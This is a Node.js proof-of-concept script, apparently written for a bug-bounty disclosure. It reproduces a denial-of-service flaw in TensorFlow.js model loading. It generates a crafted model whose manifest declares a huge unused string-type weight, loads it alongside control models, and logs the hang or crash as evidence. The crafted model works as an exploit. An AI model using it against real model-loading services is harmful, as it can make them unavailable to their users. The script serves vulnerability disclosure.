tensorflowjs-string-weight-dos-poc / repro_tfjs_string_weight_dos.js
hacnho's picture
Upload folder using huggingface_hub
32810b6 verified
Raw
History Blame Contribute Delete
6.55 kB
#!/usr/bin/env node
'use strict';
const fs = require('fs');
const path = require('path');
const {spawnSync} = require('child_process');
const PACKAGE_ROOT = __dirname;
const LOCAL_TFJS_PATH = path.join(PACKAGE_ROOT, 'node_modules/@tensorflow/tfjs');
const EVIDENCE_ROOT = path.join(PACKAGE_ROOT, 'evidence-runtime');
const GENERATED_ROOT = path.join(PACKAGE_ROOT, 'runtime-generated-models');
const DEFAULT_SHAPE = Number(process.env.MALICIOUS_SHAPE || '50000000');
function requireTfjs() {
return require(LOCAL_TFJS_PATH);
}
async function buildBaseArtifacts(tf) {
const model = tf.sequential();
model.add(tf.layers.dense({units: 1, inputShape: [1], useBias: true}));
model.setWeights([
tf.tensor2d([2], [1, 1], 'float32'),
tf.tensor1d([1], 'float32')
]);
const save = await model.save(tf.io.withSaveHandler(async artifacts => artifacts));
model.dispose();
return save;
}
function writeModelFiles(prefix, modelTopology, weightSpecs, weightData) {
const modelJson = {
format: 'layers-model',
generatedBy: 'tfjs-huntr-poc',
convertedBy: null,
modelTopology,
weightsManifest: [{
paths: [`${prefix}_weights.bin`],
weights: weightSpecs
}]
};
const modelPath = path.join(GENERATED_ROOT, `${prefix}_model.json`);
const weightsPath = path.join(GENERATED_ROOT, `${prefix}_weights.bin`);
fs.writeFileSync(modelPath, JSON.stringify(modelJson, null, 2));
fs.writeFileSync(weightsPath, Buffer.from(weightData));
return {modelPath, weightsPath};
}
async function prepareModels(shape) {
fs.mkdirSync(GENERATED_ROOT, {recursive: true});
const tf = requireTfjs();
const base = await buildBaseArtifacts(tf);
const baseSpecs = JSON.parse(JSON.stringify(base.weightSpecs));
const baseTopology = JSON.parse(JSON.stringify(base.modelTopology));
const control = writeModelFiles(
'control',
baseTopology,
baseSpecs,
base.weightData
);
const numeric = writeModelFiles(
'numeric_extra_float32',
baseTopology,
baseSpecs.concat([{
name: 'unused_extra_float32',
shape: [shape],
dtype: 'float32'
}]),
base.weightData
);
const malicious = writeModelFiles(
'malicious_extra_string',
baseTopology,
baseSpecs.concat([{
name: 'unused_extra_string',
shape: [shape],
dtype: 'string'
}]),
base.weightData
);
return {shape, control, numeric, malicious};
}
function loadModelJson(modelPath) {
const modelJson = JSON.parse(fs.readFileSync(modelPath, 'utf8'));
const manifest = modelJson.weightsManifest[0];
const weightsPath = path.join(path.dirname(modelPath), manifest.paths[0]);
const weights = fs.readFileSync(weightsPath);
return {
modelTopology: modelJson.modelTopology,
weightSpecs: manifest.weights,
weightData: weights.buffer.slice(weights.byteOffset, weights.byteOffset + weights.byteLength)
};
}
async function runLoadChild(modelPath, predict) {
const tf = requireTfjs();
const artifacts = loadModelJson(modelPath);
const started = process.hrtime.bigint();
try {
const model = await tf.loadLayersModel(tf.io.fromMemory(artifacts));
const result = {
status: 'ok',
model_inputs: model.inputs.map(input => input.shape),
model_outputs: model.outputs.map(output => output.shape),
duration_ms: Number(process.hrtime.bigint() - started) / 1e6
};
if (predict) {
const y = model.predict(tf.tensor2d([3], [1, 1], 'float32'));
result.prediction = Array.from(await y.data());
y.dispose();
}
model.dispose();
console.log(JSON.stringify(result));
} catch (error) {
console.log(JSON.stringify({
status: 'exception',
error: {
name: error.name,
message: error.message,
stack_head: error.stack ? error.stack.split('\n').slice(0, 5) : []
},
duration_ms: Number(process.hrtime.bigint() - started) / 1e6
}));
}
}
function parseLastJson(stdout) {
const lines = stdout.trim().split(/\r?\n/).filter(Boolean);
for (let i = lines.length - 1; i >= 0; i--) {
try {
return JSON.parse(lines[i]);
} catch {
continue;
}
}
return null;
}
function runCase(name, modelPath, timeoutMs, predict = false) {
const child = spawnSync(process.execPath, [
'--max-old-space-size=256',
__filename,
'--child-load',
modelPath,
predict ? '--predict' : ''
].filter(Boolean), {
cwd: PACKAGE_ROOT,
timeout: timeoutMs,
killSignal: 'SIGKILL',
encoding: 'utf8',
env: {
...process.env,
TF_CPP_MIN_LOG_LEVEL: '3'
}
});
const parsed = parseLastJson(child.stdout || '');
return {
name,
model_path: modelPath,
timeout_ms: timeoutMs,
exit_code: child.status,
signal: child.signal,
spawn_error: child.error ? {code: child.error.code, message: child.error.message} : null,
parsed_result: parsed,
stdout_tail: (child.stdout || '').split(/\r?\n/).slice(-6).join('\n'),
stderr_tail: (child.stderr || '').split(/\r?\n/).slice(-8).join('\n'),
classification: child.error && child.error.code === 'ETIMEDOUT'
? 'timeout'
: parsed && parsed.status
};
}
async function runParent() {
const shape = DEFAULT_SHAPE;
const files = await prepareModels(shape);
const results = [
runCase('control_valid_model', files.control.modelPath, 5000, true),
runCase('numeric_extra_float32_control', files.numeric.modelPath, 5000, false),
runCase('malicious_extra_string_dos', files.malicious.modelPath, 3000, false)
];
const summary = {
generated_at: new Date().toISOString(),
node: process.version,
tfjs_version: require(path.join(LOCAL_TFJS_PATH, 'package.json')).version,
malicious_shape: shape,
files,
results
};
fs.mkdirSync(EVIDENCE_ROOT, {recursive: true});
const outPath = path.join(EVIDENCE_ROOT, `tfjs-string-weight-dos-repro-${new Date().toISOString().replace(/[:.]/g, '').replace('T', '-').replace('Z', '')}.json`);
fs.writeFileSync(outPath, JSON.stringify(summary, null, 2));
console.log(JSON.stringify(summary, null, 2));
console.log(`wrote ${outPath}`);
}
if (process.argv[2] === '--child-load') {
runLoadChild(process.argv[3], process.argv.includes('--predict')).catch(error => {
console.log(JSON.stringify({
status: 'exception',
error: {name: error.name, message: error.message}
}));
process.exitCode = 1;
});
} else {
runParent().catch(error => {
console.error(error && error.stack ? error.stack : error);
process.exitCode = 1;
});
}